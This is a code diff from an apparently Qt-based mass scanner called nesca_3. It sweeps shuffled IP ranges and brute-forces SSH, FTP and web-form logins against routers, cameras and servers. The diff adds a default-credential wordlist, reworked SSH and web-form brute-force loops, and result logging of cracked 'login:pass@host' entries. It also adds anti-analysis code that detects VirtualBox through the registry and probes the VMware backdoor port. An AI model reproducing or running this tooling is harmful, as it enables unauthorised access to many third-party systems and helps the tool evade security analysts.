(ipsstartfl[j][1] * 65536) +
(ipsstartfl[j][2] * 256) +
ipsstartfl[j][3];
ip2 = (ipsendfl[j][0] * 16777216) +
(ipsendfl[j][1] * 65536) +
(ipsendfl[j][2] * 256) +
ipsendfl[j][3];
if (!globalScanFlag) break;
unsigned long offset = ip2 - i;
for (unsigned long i = ip1; i <= ip2; ++i)
{
if (!globalScanFlag) goto haters_gonna_hate_IM;
tAddr.s_addr = ntohl(i);
ipVec.push_back(inet_ntoa(tAddr));
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
std::random_shuffle(ipVec.begin(), ipVec.end());
while (ipVec.size() != 0) {
while (cons >= gThreads && globalScanFlag) Sleep(500);
if (!globalScanFlag) goto haters_gonna_hate_IM;
++indexIP;
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
tAddr.s_addr = ntohl(i);
Corac corac;
corac.ip = std::string(inet_ntoa(tAddr));
corac.index = coracIndex;
ipVec.push_back(corac);
}
}
std::random_shuffle(ipVec.begin(), ipVec.end());
for (int k = 0; k < ipVec.size(); ++k)
{
stt->addColoredIndex(ipVec[k].index);
}
stt->doEmitionUpdatePB2();
while (ipVec.size() != 0) {
++cIndex;
//stt->doEmitionDrawPointerPB2(pointer++);
while (cons >= gThreads && globalScanFlag) Sleep(500);
if (!globalScanFlag) goto haters_gonna_hate_IM;
++indexIP;
strcpy(currentIP, ipVec[0].ip.c_str());
ipVec.erase(ipVec.begin());
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
// for (unsigned long i = ip1; i <= ip2; ++i) {
// if (!globalScanFlag) break;
// tAddr.s_addr = ntohl(i);
// ipVec.push_back(inet_ntoa(tAddr));
// if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) {
// std::random_shuffle(ipVec.begin(), ipVec.end());
// while (ipVec.size() != 0) {
// while (cons >= gThreads && globalScanFlag) Sleep(500);
// if (!globalScanFlag) goto haters_gonna_hate_IM;
// ++indexIP;
// strcpy(currentIP, ipVec[0].c_str());
// ipVec.erase(ipVec.begin());
// verboseProgress(gTargets);
// Threader::fireThread(currentIP, (void*(*)(void))_connect);
// }
// }
// }
haters_gonna_hate_IM:;
break;
}
case false: {
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
(ipsstartfl[gflIndex][1] * 65536) +
(ipsstartfl[gflIndex][2] * 256) +
ipsstartfl[gflIndex][3];
ip2 = (ipsendfl[gflIndex][0] * 16777216) +
(ipsendfl[gflIndex][1] * 65536) +
(ipsendfl[gflIndex][2] * 256) +
ipsendfl[gflIndex][3];
struct in_addr tAddr;
for (unsigned long i = ip1; i <= ip2; ++i) {
@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() {
}
void MainStarter::createResultFiles() {
char fileName[256] = { 0 };
sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str());
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
if(!res) stt->doEmitionRedFoundData("Failed to crete results.");
bool res = CreateDirectoryA(fileName, NULL);
if (!res) {
int err = GetLastError();
if (err != 183)
{
while (!res) {
stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err));
res = CreateDirectoryA(fileName, NULL);
err = GetLastError();
Sleep(1000);
}
} else {
stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err));
}
} else {
stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created.");
}
#else
struct stat str = { 0 };
if (stat(RESULT_DIR_NAME, &str) == -1) {
mkdir(RESULT_DIR_NAME, 0700);
if (stat(fileName, &str) == -1) {
mkdir(fileName, 0700);
}
#endif
}
void MainStarter::start(const char* targets, const char* ports) {
/* This array will store all of the mutexes available to OpenSSL. */
static MUTEX_TYPE *mutex_buf = NULL;
static void locking_function(int mode, int n, const char * file, int line)
{
if (mode & CRYPTO_LOCK)
MUTEX_LOCK(mutex_buf[n]);
else
MUTEX_UNLOCK(mutex_buf[n]);
}
static unsigned long id_function(void)
{
return ((unsigned long)THREAD_ID);
}
int thread_setup(void)
{
int i;
mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
if (!mutex_buf)
return 0;
for (i = 0; i < CRYPTO_num_locks(); i++)
MUTEX_SETUP(mutex_buf[i]);
CRYPTO_set_id_callback(id_function);
CRYPTO_set_locking_callback(locking_function);
return 1;
}
int thread_cleanup(void)
{
int i;
if (!mutex_buf)
return 0;
CRYPTO_set_id_callback(NULL);
CRYPTO_set_locking_callback(NULL);
for (i = 0; i < CRYPTO_num_locks(); i++)
MUTEX_CLEANUP(mutex_buf[i]);
free(mutex_buf);
mutex_buf = NULL;
return 1;
}
void MainStarter::start(const char* targets, const char* ports) {
saveBackup = true;
curl_global_init(CURL_GLOBAL_ALL);
thread_setup();
createResultFiles();
if (loadTargets(targets) == -1 ||
@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) {
else if (gMode == 1) startDNSScan();
else startImportScan();
saveBackup = false;
stt->doEmitionYellowFoundData("Stopping threads...");
stt->doEmitionChangeStatus("Stopping...");
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
thread_cleanup();
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
"</u> of <u>" + QString::number(found) + "</u> nodes.");
stt->doEmitionChangeStatus("Idle");
stt->doEmitionKillSttThread();
}

View File

@ -30,9 +30,8 @@ public:
MainStarter()
{
horLineFlag = false;
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
WF = 0;
PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0;
BrutingThrds = 0;
found = 0;
gTargets = 0;
@ -77,6 +76,18 @@ public:
delete[]wfLoginLst;
wfLoginLst = NULL;
};
if (ftpPassLst != NULL)
{
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
delete[]ftpPassLst;
ftpPassLst = NULL;
};
if (ftpLoginLst != NULL)
{
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
delete[]ftpLoginLst;
ftpLoginLst = NULL;
};
if (sshlpLst != NULL)
{
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];

View File

@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
return 0;
}
int check_ssh_pass(const char *user, const char *pass,
int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
const char *userPass, const char *host, int port,
std::string *buffer, const char *banner) {
int res = -1;
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
res = _sshConnect(user, pass, host, port);
int res = _sshConnect(user, pass, host, port);
if(res == 0)
{
stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
}
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
char temp[64] = {0};
char *ptr1 = 0;
int res = -1;
int rowIndex = -1;
int passCounter = 0;
for(int i = 0; i < MaxSSHPass; ++i)
{
@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
strncpy(login, temp, ptr1 - temp);
strcpy(pass, ptr1 + 1);
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
ZeroMemory(login, sizeof(login));
ZeroMemory(pass, sizeof(pass));
ZeroMemory(temp, sizeof(temp));
if(res == 0)
{
if(i == 0) return -2; //Failhit
if (i == 0) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
}
return -2; //Failhit
}
return 1;
}
else if(res == -2)
{
{
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return -2;
};
Sleep(500);
};
};
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return -1;
}

29
STh.cpp
View File

@ -1,6 +1,18 @@
#include "STh.h"
#include "externData.h"
//BA TablelistView
void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage)
{
emit stt->signalChangeBARow(index, loginPass, percentage);
}
void STh::doEmitionUpdatePB2()
{
cIndex = 0;
emit stt->updPB2();
}
void STh::doEmitionShowRedVersion()
{
emit stt->showRedVersion();
@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str)
{
emit stt->changeFoundData(str);
}
void STh::doEmitionBAData(QString str)
{
emit stt->changeBAData(str);
}
void STh::doEmition_BARedData(QString str)
{
emit stt->changeRedBAData(str);
}
void STh::doEmition_BAGreenData(QString str)
{
emit stt->changeGreenBAData(str);
}
void STh::doEmitionRedFoundData(QString str)
{
emit stt->changeRedFoundData(str);
@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str)
{
emit stt->changeDebugFoundData(str);
}
void STh::doEmitionChangeStatus(QString str)
{
emit stt->changeStatus(str);
}
void STh::doEmitionKillSttThread()
{
emit stt->killSttThread();

29
STh.h
View File

@ -14,31 +14,44 @@ class STh : public QThread
private:
QString target = "";
QString ports = "";
QList<int> coloredIndexes;
public:
void addColoredIndex(int index)
{
coloredIndexes.push_back(index);
}
QList<int> getColoredIndexes()
{
return coloredIndexes;
}
void setMode(short mode);
void setTarget(QString target);
void setPorts(QString ports);
static int baModelSize();
static void doEmitionDataSaved(bool status);
static void doEmitionStartScanIP();
static void doEmitionStartScanDNS();
static void doEmitionStartScanImport();
static void doEmitionAddIncData(QString ip, QString str);
static void doEmitionAddOutData(QString str);
static void doEmition_BAGreenData(QString str);
static void doEmition_BARedData(QString str);
static void doEmitionFoundData(QString str);
static void doEmitionRedFoundData(QString str);
static void doEmitionGreenFoundData(QString);
static void doEmitionYellowFoundData(QString);
static void doEmitionChangeStatus(QString);
static void doEmitionKillSttThread();
static void doEmitionBAData(QString str);
static void doEmitionDebugFoundData(QString);
static void doEmitionShowRedVersion();
static void doEmitionUpdateArc(unsigned long gTargets);
static void doEmitionBlockButton(bool value);
//BA TablelistView
static void doEmitionChangeBARow(int index, QString loginPass, QString percentage);
static void doEmitionUpdatePB2();
signals:
public: signals: void showRedVersion();
@ -46,20 +59,20 @@ public: signals: void startScanIP();
public: signals: void startScanDNS();
public: signals: void startScanImport();
public: signals: void signalDataSaved(bool);
public: signals: void changeGreenBAData(QString);
public: signals: void changeRedBAData(QString);
public: signals: void changeBAData(QString);
public: signals : void updPB2();
public: signals: void changeFoundData(QString);
public: signals: void changeRedFoundData(QString);
public: signals: void changeGreenFoundData(QString);
public: signals: void changeYellowFoundData(QString);
public: signals: void changeDebugFoundData(QString);
public: signals: void changeStatus(QString);
public: signals: void killSttThread();
public: signals: void sIncData(QString, QString);
public: signals : void sOutData(QString);
public: signals : void signalUpdateArc(unsigned long);
public: signals : void signalBlockButton(bool);
//BA TablelistView
public: signals : void signalChangeBARow(int, QString, QString);
protected:
void run();

View File

@ -1,6 +1,36 @@
#include "Utils.h"
#include <sstream>
std::string Utils::startDate;
void Utils::emitScaryError() {
__asm{
push edx
push ecx
push ebx
mov eax, 'VMXh'
mov ebx, 0
mov ecx, 10
mov edx, 'VX'
in eax, dx
cmp ebx, 'VMXh'
pop ebx
pop ecx
pop edx
};
}
void Utils::saveStartDate() {
startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data());
}
std::string Utils::getStartDate() {
return startDate;
}
int Utils::isDigest(const std::string *buffer) {
if (Utils::ustrstr(buffer, "401 authorization") != -1
|| Utils::ustrstr(buffer, "401 unauthorized") != -1

View File

@ -5,6 +5,7 @@
#include <algorithm>
#include <qstring.h>
#include <vector>
#include <qdatetime.h>
using namespace std;
@ -23,6 +24,7 @@ private:
};
class Utils {
private: static std::string startDate;
public:
static int isDigest(const std::string *buffer);
@ -82,6 +84,9 @@ public:
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
static std::vector<int> splitToIntVector(const std::string &s, char delim);
static void saveStartDate();
static std::string getStartDate();
static void emitScaryError();
};
#endif // UTILS_H

View File

@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
) {
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
QString(login) + ":" + QString(pass));
strcpy(result.login, login);
strcpy(result.pass, pass);
return result;
@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
Connector con;
if(con.nConnect(nip, port, &buffer) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
"; login/pass: "+ QString(login) + ":" + QString(pass) +
"; - Progress: (" +
QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
if (BALogSwitched) {
if (rowIndex == -1) {
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
// QString(login) + ":" + QString(pass),
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
}
}
result = parseResponse(ip, port, &buffer, formVal, login, pass);
if(i == 0) ++i;
@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
@ -138,9 +145,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
Connector con;
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
QString(login) + ":" + QString(pass) + "; - Progress: (" +
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
if (BALogSwitched) {
if (rowIndex == -1) {
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
// QString(login) + ":" + QString(pass),
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
}
}
++passCounter;
return parseResponse(ip, port, &buffer, formVal, login, pass);

View File

@ -24,7 +24,7 @@ public:
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
++WF;
//++WF;
++BrutingThrds;
//BConInc();

View File

@ -24,20 +24,26 @@ extern QJsonArray *jsonArr;
extern unsigned long long gTargetsNumber;
extern long long unsigned int gTargets;
extern std::atomic<int> cons, BrutingThrds, gThreads;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
extern char **loginLst, **passLst,
**wfLoginLst, **wfPassLst,
**ftpLoginLst, **ftpPassLst,
**sshlpLst;
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
widgetIsHidden, gNegDebugMode,
gDebugMode, horLineFlag, gPingNScan, gShuffle,
BALogSwitched;
extern int found, indexIP, gMode,
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
MaxPass, MaxLogin,
MaxWFLogin, MaxWFPass,
MaxFTPLogin, MaxFTPPass,
MaxSSHPass,
gMaxBrutingThreads,
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
AnomC1, filtered, Overl, Lowl, Alive, saved,
Susp,
WF,
gTimeOut, PieCamerasC1, PieOther, PieBA, PieSSH,
camerasC1, filtered, Overl, Alive, saved,
other,
baCount,
ssh, globalPinger, gPingTimeout;
ssh, globalPinger, gPingTimeout,
cIndex;
extern unsigned int Activity;
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
trcPort[32], trcSrvPortLine[32],

3540
finder.cpp

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,38 @@
admin
root
123123
123456
12345
ubnt
cisco
super
meinsm
monitor
test
support
1234
administrator
qwerty
recovery
system
naadmin
master
guest
backup
0000
1111
123321
123321123
111111
222222
333333
444444
666666
888888
88888888
999999
777777
555555
111222333

View File

@ -1,32 +1,79 @@
#include "nesca_3.h"
#include <QApplication>
#include <qfontdatabase.h>
#include <QMessageBox.h>
#include <qpixmap.h>
#include "Utils.h"
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
bool isWM = false;
DWORD Type;
char value[512] = { 0 };
char resultString[512] = { 0 };
HKEY hkey;
if (RegOpenKey(HKEY_LOCAL_MACHINE,
TEXT("HARDWARE\\DESCRIPTION\\System"), &hkey) == ERROR_SUCCESS)
{
DWORD value_length = 512;
RegQueryValueEx(hkey, L"VideoBiosVersion", 0, &Type, (BYTE*)&value, &value_length);
RegCloseKey(hkey);
QStringList list;
list << "small_font.ttf";
int fontID(-1);
bool fontWarningShown(false);
for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) {
QFile res(":/nesca_3/" + *constIterator);
if (res.open(QIODevice::ReadOnly) == false) {
if (fontWarningShown == false) {
fontWarningShown = true;
for (int i = 0, j = 0; i < 256; ++i, j += 2) {
char ch = value[j];
if (ch != '\0') {
resultString[i] = ch;
}
} else {
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
if (fontID == -1 && fontWarningShown == false) {
fontWarningShown = true;
else {
resultString[i] = '\n';
}
}
resultString[256] = '\0';
}
if (strstr(resultString, "VirtualBox") ||
strstr(resultString, "virtualbox")) {
isWM = true;
};
nesca_3 *gui = new nesca_3();
QApplication a(argc, argv);
gui->showNormal();
if (isWM) {
QMessageBox msgBox(
QMessageBox::Information,
"Nope",
"");
QPalette palette;
palette.setBrush(QPalette::Background, Qt::cyan);
msgBox.setIconPixmap(QPixmap(":/nesca_3/xc.jpg"));
msgBox.setPalette(palette);
msgBox.setVisible(true);
msgBox.exec();
} else {
QStringList list;
list << "small_font.ttf";
int fontID(-1);
bool fontWarningShown(false);
for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) {
QFile res(":/nesca_3/" + *constIterator);
if (res.open(QIODevice::ReadOnly) == false) {
if (fontWarningShown == false) {
fontWarningShown = true;
}
}
else {
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
if (fontID == -1 && fontWarningShown == false) {
fontWarningShown = true;
}
}
}
nesca_3 *gui = new nesca_3(isWM, 0);
if (isWM) {
Utils::emitScaryError();
}
gui->showNormal();
}
return a.exec();
}

View File

@ -1,6 +1,5 @@
#pragma once
#include "base64.h"
#include <libssh/libssh.h>
#include <curl/curl.h>
#include <vector>
@ -9,6 +8,9 @@
#include <time.h>
#include <process.h>
#include <conio.h>
#include <direct.h>
#define GetCurrentDir _getcwd
#else
#include <string>
#include <iostream>
@ -28,7 +30,9 @@
#include <fcntl.h>
#include <math.h>
#include <cstring>
#include <unistd.h>
#define GetCurrentDir getcwd
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
#define Sleep(msecs) usleep((msecs)*1000)
#define WSAGetLastError() errno
@ -84,7 +88,37 @@ typedef int BOOL;
#define TITLE_MAX_SIZE 512
#define COOKIE_MAX_SIZE 1024
#define RESULT_DIR_NAME "./result_files-" __DATE__
#define TYPE1 "camera"
#define TYPE2 "other"
#define TYPE3 "auth"
#define TYPE4 "ftp"
#define TYPE5 "ssh"
#define PWD_LIST_FOLDER "./pwd_lists/"
#define LOGIN_FN PWD_LIST_FOLDER"login.txt"
#define PASS_FN PWD_LIST_FOLDER"pass.txt"
#define FTP_LOGIN_FN PWD_LIST_FOLDER"ftplogin.txt"
#define FTP_PASS_FN PWD_LIST_FOLDER"ftppass.txt"
#define WF_LOGIN_FN PWD_LIST_FOLDER"wflogin.txt"
#define WF_PASS_FN PWD_LIST_FOLDER"wfpass.txt"
#define SSH_PASS_FN PWD_LIST_FOLDER"sshpass.txt"
#define NEGATIVE_FN PWD_LIST_FOLDER"negatives.txt"
#define HTTP_FILE_STYLE "<style> #recvSpan{display: inline-block;width: 150px;} \
#hostSpan{display: inline-block;width: 200px;} \
body { background-color: #141414; font-family: monospace; font-size:95%;} \
#ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;} \
#ipd:hover{color: #909090;background:#202020;} \
#tit{text-align:center;border:1px solid #5d5d5d;} \
a{color: gray;text-decoration: underline;} \
a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}</style>"
#define HTTP_FILE_HEADER "<div id=\"tit\"><a href=\""TYPE1".html\">."TYPE1"</a> \
<a href=\""TYPE2".html\">."TYPE2"</a> \
<a href=\""TYPE3".html\">."TYPE3"</a> \
<a href=\""TYPE4".html\">."TYPE4"</a> \
<a href=\""TYPE5".html\">."TYPE5"</a> \
</div><br><br>"
#ifndef MAX_ADDR_LEN
#define MAX_ADDR_LEN 128
@ -145,12 +179,12 @@ public:
iterationCount = 0;
}
int header(char *ip,
/*int getHeader(char *ip,
int port,
const char str[],
Lexems *l,
PathStr *ps,
std::vector<std::string> *lst, int size);
std::vector<std::string> *lst, int size);*/
int filler(char* ip,
int port,
@ -172,3 +206,5 @@ typedef int(__stdcall *NET_DVR_Login_V30)(const char * sDVRIP,
extern NET_DVR_Init hik_init_ptr;
extern NET_DVR_Cleanup hik_cleanup_ptr;
extern NET_DVR_Login_V30 hik_login_ptr;

View File

@ -46,7 +46,7 @@ void MSGCheckerThread::run()
{
msgChkRunnning = true;
if (strlen(trcPersKey) != 0) _getNewMsg();
else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
//else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
Sleep(60000);
};
}

View File

@ -1 +1,911 @@
Benvenuti!
ssl vpn
Ref1=http
hello. goodbye.
Analog Telephone Adapter
IP Dect -
AnyGate
Unable to open
WebDAV
Ruckus Wireless
Access is denied
access denied
Company Limited
àðåíäà ñåðâ
首页
51yes.com
nasne&trade
google-site-verification
áåñïëàòíûé õîñò
àíòèâèðóñ
403 forbidden
êóïèòü
X-Adblock-Key
エラー
pagerror
Error report
電話
reserveer
kontakt
ñàéò âðåìåí
ãàðàíò
ïàðê
òåëåêîì
ðåãèñòðàöèÿ
íåäîñòóïåí
document.cookie
park
You are not permitted
Adapto CMS
Account unavailable
áàëàíñ
ñðåäñòâ
íà âàøåì ñ÷åòó
àáîíåíò
xml-not-well-formed
No session
validator.w3.org
RFB 009
00;39;49mroot:
Authorization Required
.swf
ïîêóï
yadro.ru
liveinternet
DIR-100
DIR-615
DIR-140
session_login.php?reload=1
Firewall Authentication required before
Piolink Web
You are not welcome to use
Permission error
sample.org
421 FTP connection refused
No HTTP resource was found
RTDVR ActiveX
D-RMS
command not understood
baZsDJAabybWQby
report abuse
atwiki
studio
McMyAdmin
500 Syntax error
Starting WebDVR
530 Connection refused
I can break rules, too
this system is engaged
Aviso de Bloqueio
Servico nao disponivel
Content-Encoding: gzip
no connections allowed
pocket-solution
trustclick
òîðã
prelogin
service temporarily unavailable
service is temporary unavailable
service unavailable
403 - forbidden
is still available
php framework
BlueBean
Herzlich
Web-Based Configurator
Willkommen!
Error 503
not found
504 gateway timeout
Defaultpage
500 internal server error
500 - internal server error
502 bad gateway
505 http version
501 not implemented
invalid hostname
http error 400
400 ERROR
include_path=
function.require
failed to open stream
"./cgi-bin/start.cgi?UID=-1&TEMP="
408 request time-out
421 service not available
500 OOPS
Comming Soon
is sample html
/js/thickbox.js
google_ad_slot
plone
openmail
You don't have permission
institute
google-analytics.com
googlesyndication
temporarily offline
temporarily unavailable
MELOOK
&gt;log in
.js_check.html
/about-our-site.html
/auth.
/acquittal.html
/building.html
/cart/view
/catalog/search.php
/cgi-bin/welcome.cgi
/welcome/
application/x-shockwave-flash
/customer
e-Learn
/esi.cgi?page=status-index.xml
/guarantee
.ac.jp
/html/index.asp
/iisstart.asp
/images/final-hp
/install.php
/kontakty
/manga/index.cgi
/manual/
/order
/privacy
/news
/portal-login
/product.php
/rpauth.html
/servlet/wap/login
site introuvable
shop
sell
test server
/company
/brand
/signin
/simple.html
/soap/
/support/
/terms
/ui/
/user/index.php
/weblogin.htm
/xampp/
/zimbra
:5000/
?hipname=
@bk.ru
@gmail.com
@inbox.ru
@list.ru
@mail.ru
@rambler.ru
@yandex.ru
+home_42+
+i1+
+vt_docsystem+
16 ch
a test web page
clinic
museum
It's works
Adobe GoLive
Remote Link2
about/
aboutus
about-us
about us
acceso denegado
acceso sistema
access the sharecenter
actiontec_bottom
adsense
afrekenen
ahcom tecnologia
alfresco
app service
apache_pb.gif
airties
aktualizacji
amicaweb
Alan Ad?
and supervision tool
annex b
apache http server test
apache software foundation
apache tomcat
apache ha sido instalado
application manager
apteka
arteco ivs spa
at&t
at-img634
autenticacao de acesso
auto_detect_lang.asp
aviso legal
backgroundimagecache
bad request
baidu
beratung
berneck
btnLive
business invest
best domain names
bitrix
bluedragon
blog
blog/about/
blog/comments/
bubba|2
buffalo inc
buy
cable modem
cafe
call us
calorie
cannot be displayed
cannot find
ccnwebsrvcontroller
church
canopy
casino
cautivo
check_hj.html
check_user_agent
checking javascript support
checking language
checkpoint.com
cheditor
chiliproject
check availability
citrix/xenapp
client
cloud
cmside.htm
company.
comcast business
coming soon
commercial property
configuration manager
configuration file does not
confixx
construcci
consulta
contac
come back later
contat
control de inventarios
control de solicitudes
controles de acceso
currently unavailable
cooking
coltd
co.ltd
co.,ltd
#QNAP shit
could be ipv6 addr
cp-gateway
create an account
create new account
credit
currently measuring
currently unreachable
cs3 dreamweaver
FrontPage
TESTPAGE
Too many connections
BB-HGW
OS X Lion
Inspire DVR
DVR Components Download
Homepage Builder
dashboard.css
dating
dbox
de iis
design house
de subsidios
de turismo
default page
default parallels plesk panel
default plesk page
default web
defaultwebpage
desserts
default-site
development company
development work
device configuration
default index file
dgc hotspot
dishes
docsis
docsis_system.asp
dominio
domain error
domain has been blocked
domain has been registered
domain name registration
domain registered
domainapps.com
domeny
domeingeregistreerd
down for maint
draytek corp
dreambox webcontrol
drupal
Dreamweaver MX
due to maintance
dsnextgen.com
DATA LAN DISK
TEST SITE
eap web interface
echolife
ediciones tierrazul
elipgo
emta settings
en construction
enigin plc
enigma web interface
entertainment
equipe ahcom
erro ao resolver
The requested URL
error.asp
empty page
errors.umi-cms.ru
e-trayz
evaluaciones
exchange/
ezwatch pro
education
fax
fax.
fax:
fax :
fashion
Fireworks MX
fast35xx
facebook
football
forex
forgot password
free delivery
free to play
freepbx
free-shipping
fritz!box
functioning normally
future home of
gaiyou
glassfish server
globesurfer
gmbh
industrial
help.html
market
guarantee
h.264
h264
hc.ru
hectrix ltd
hipname
hipoteka
hitron technologies
holding page
holding_page
home gateway
home.
hosting
hostline.ru
help desk
hotspot login
htmlanvview:
icecast2
ie-plugin
iis7
iis8
images/spacer.jpg
images/ub15.gif
in construction
index.cgi?active
index.php?action=login
info experts
information services 8
ingrese usuario
inicio
initservicecookie
inloggen
insurance
intelligent digital security system
into the public_html directory
invalid url
iomega
iis windows
customer
is functioning normally
is under construction
ispmanager control panel
it work
error404
404err
error500
500err
407 Proxy
ibm websphere
is now configured
is currently undergoing
jbossweb
join us
joinmember
juniper
jste heslo
kerio connect
keyhole peeks
kablosuz
kloxo control panel
kontakt
kredyt
lacie nas
latest tweets
legal policies
log_off_page.htm
login page
login para acesso
logistics
lvrweb
epanel
commerc
official website
WebFig
in manutenzione
Domain is not authorized
in costruzione
mail_manager
magnesium
management console
mbanking
olaHola
Wireless N ADSL
Account Suspended
Session limit reached
Aethra
meble
microsoft exchange
mijn account
mobile phone was detected
mobile web viewer
mobile_viewer_login
mobile login
modem (administrator
m&w
munin
my account
my cart
my homepage
myauth
navatom
navigate to public landing page
netdvrv
